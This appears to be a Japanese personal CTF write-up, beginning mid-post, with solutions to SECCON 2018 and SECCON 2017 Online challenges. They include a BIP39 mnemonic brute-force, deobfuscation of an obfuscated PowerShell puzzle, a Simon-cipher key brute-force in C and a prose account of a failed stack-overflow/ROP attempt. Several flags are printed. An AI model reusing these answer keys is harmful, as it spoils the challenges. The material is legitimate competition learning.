$ cat index.js const bip39 = require('bip39'); const ret = bip39.mnemonicToSeedHex("ふじみ あさひ みのう いっち いがく とない はづき ますく いせえび たれんと おとしもの おどろかす ことし おくりがな ちょうし ちきゅう さんきゃく こんとん せつだん ちしき ぬいくぎ まんなか たんい そっと"); console.log(ret); $ node index.js 338c161dbdb47c570d5d75d5936e6a32178adde370b6774d40d97a51835d7fec88f859e0a6660891fc7758d451d744d5d3b1a1ebd1123e41d62d5a1550156b1f
と一致した.もうこれじゃん,と思うも短いハッシュのほうの生成方法がよくわからない.
試行錯誤するとどうも mnemonicToEntropy
を叩くと短い方のハッシュがでてきた.
ニーモニックのうち先頭の1つだけ ??
になっているので,まずワードリストから長い方のハッシュに一致するニーモニックを全探索する.
$ cat index.js const bip39 = require('bip39'); bip39.wordlists.JA.forEach((e) => { const mnemonic = e + " とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる"; const ret1 = bip39.mnemonicToSeedHex(mnemonic); if (ret1.startsWith("e9a")) { console.log(e); } }); $ node index.js はいれつ
ここまでわかればあとは mnemonicToEntropy をとって md5 にかけたものがフラグ.
$ cat index.js const bip39 = require('bip39'); const mnemonic = "はいれつ とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる"; const ret = bip39.mnemonicToEntropy(mnemonic, bip39.wordlists.JA); console.log(ret); $ node index.js c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f70 $ echo -n "c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f70" | md5 cda2cb1742d1b6fc21d05c879c263eec
なので SECCON{cda2cb1742d1b6fc21d05c879c263eec}
がフラグ(だったはず).
まとめ
kindvm 頑張っていたけど hint3 まで出せたところでタイムアップでした.
今回はなかなか頑張れた.国内予選出れたらいいな….わかったら追記します.
他のメンバーの writeup
追記(2018/11/08)
国内決勝出場権を得れました!!! :tada:
SECCON 2017 Online writeup
SECCON 2017 Online writeup
yharima
チームで参加.1900 pts で 84th でした.
Run me!
フィボナッチ数列の 11011
項目を求める問題.
与えられる実装は,非常に効率が悪い実装になっているので高速化してあげれば良い.
が,そんなことしなくても http://php.bubble.ro/fibonacci/ にぶち込んで,先頭 32 文字とれば良いだけ.
SECCON{65076140832331717667772761541872}
putchar music
C プログラムが与えられて,何の映画かを答える.
プログラムをみると何らかの音楽を再生していて,それを再生したら映画のタイトルがわかる,的な問題.
問題に,映画タイトルにスペースがあったら "_" に変えろ,というのがあったのと,
その昔 SECCON WARS という STAR WARS ネタがあったのと,そろそろ最後のジェダイが公開される,というあたりから,
何も考えず STAR WARS だろうと思って,入力したら正解だった.このあたりが自分が絶好調だった.
SECCON{STAR_WARS}
Powerful_Shell
power shell が与えられる.
ubuntu でも動くらしいので適当にインストールして実行してみるとエラーになる.
どうも ` が含まれているのが原因なので,置き換えてみると,ピアノの鍵盤が出て来る.
コード自体の末尾に Write-Host $ECOON
的なものを挿すとデコードされたコードがみれる.
デコードされたコードをみて,適当にデバッグログを差し込みながら解析すると,
hhjhhjhjkjhjhf
を入力すると次のステージに進める.
さらに Enter password
と出てくる.これは,内部にある base64 エンコードされたコードをデコードしたものと,
上記の hhjhhjhjkjhjhf
によって生成される鍵から復号された結果のコードが実行されている.
中身はこんな感じ.
{;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;}; ${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;}; ${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]"; ${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]); ${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}
これは,最後の部分が評価されて実行されている.これは,評価される前を Write-Host を実行するとさらにコードがみえる.
中身をみると最後, power shell になっていて,入力された文字が P0wEr$H311
と入力するとフラグがでる(というかそれそのものがフラグ).
SECCON{P0wEr$H311}
Simon and Speck Block Ciphers
Simon とかいう暗号化方式で暗号化された結果と plain text と鍵の一部などが与えられる.
実装自体は論文の通りにやればできるが,めんどい,適当にぐぐると以下の実装がでてくる.
GitHub - inmcm/Simon_Speck_Ciphers: Implementations of the Simon and Speck Block Ciphers
あとは以下のようなコードを書いて,鍵の不明な部分を総当りするだけ(実行ときに適当に grep する).
#include <stdio.h> #include <stdint.h> #include <string.h> #include <limits.h> #include <stdlib.h> #include "Simon.h" int main() { Simon_Cipher my_simon_cipher = *(Simon_Cipher *)malloc(sizeof(Simon_Cipher)); //uint8_t simon96_64_plain[] = {0x6d, 0x56, 0x4d, 0x37, 0x42, 0x6e, 0x6e, 0x71}; uint8_t simon96_64_plain[] = {0x71, 0x6e, 0x6e, 0x42, 0x37, 0x4d, 0x56, 0x6d}; //uint8_t simon96_64_cipher[] = {0xbb, 0x5d, 0x12, 0xba, 0x42, 0x28, 0x34, 0xb5}; uint8_t simon96_64_cipher[] = {0xb5, 0x34, 0x28, 0x42, 0xba, 0x12, 0x5d, 0xbb}; for (int c1 = 0x20; c1 <= 0x7e; ++c1) { for (int c2 = 0x20; c2 <= 0x7e; ++c2) { for (int c3 = 0x20; c3 <= 0x7e; ++c3) { for (int c4 = 0x20; c4 <= 0x7e; ++c4) { // uint8_t simon96_64_key[] = {0x53, 0x45, 0x43, 0x43, 0x4f, 0x4e, 0x7b, c1, c2, c3, c4, 0x7d}; uint8_t simon96_64_key[] = {0x7d, c4, c3, c2, c1, 0x7b, 0x4e, 0x4f, 0x43, 0x43, 0x45, 0x53}; Simon_Init(&my_simon_cipher, Simon_96_64, ECB, simon96_64_key, NULL, NULL); uint8_t ciphertext_buffer[16]; Simon_Encrypt(my_simon_cipher, &simon96_64_plain, &ciphertext_buffer); printf("%c%c%c%c: %02x %02x %02x %02x %02x %02x %02x %02x\n", c1, c2, c3, c4, ciphertext_buffer[0], ciphertext_buffer[1], ciphertext_buffer[2], ciphertext_buffer[3], ciphertext_buffer[4], ciphertext_buffer[5], ciphertext_buffer[6], ciphertext_buffer[7]); } } } } return 0; }
最初,与えられているデータの入力をコメントアウトされている状態で定義していたが,答えが出ずしばらくハマっていた.
よくよく考えるとリトルエンディアンで書かないとだめ?と思って逆にしてみたら答えが出た.
SECCON{6Pz0}
Thank you for playing!
SECCON{We have done all the challenges. Enjoy last 12 hours. Thank you!}
その他
Baby Stack
で無限に時間を溶かした.
EIP までは割りとあっさり奪えたのだけど,その後どう ROP するかでハマった.
最初は mmap で executable な領域を確保したあとに read で shellcode 積んで, EIP 飛ばせばいいや,と思ったのだけど,
mmpa まではできたけど pop gadget がなくてその後の ROP chain に繋げられず死亡.
その後 syscall 叩くことなども考えたけど,どれもうまくいかず終了.非常に辛い….
まとめ
国内決勝まであとちょっとだったらしい?
非常に辛いけど力不足を実感したので,また来年まで修行します.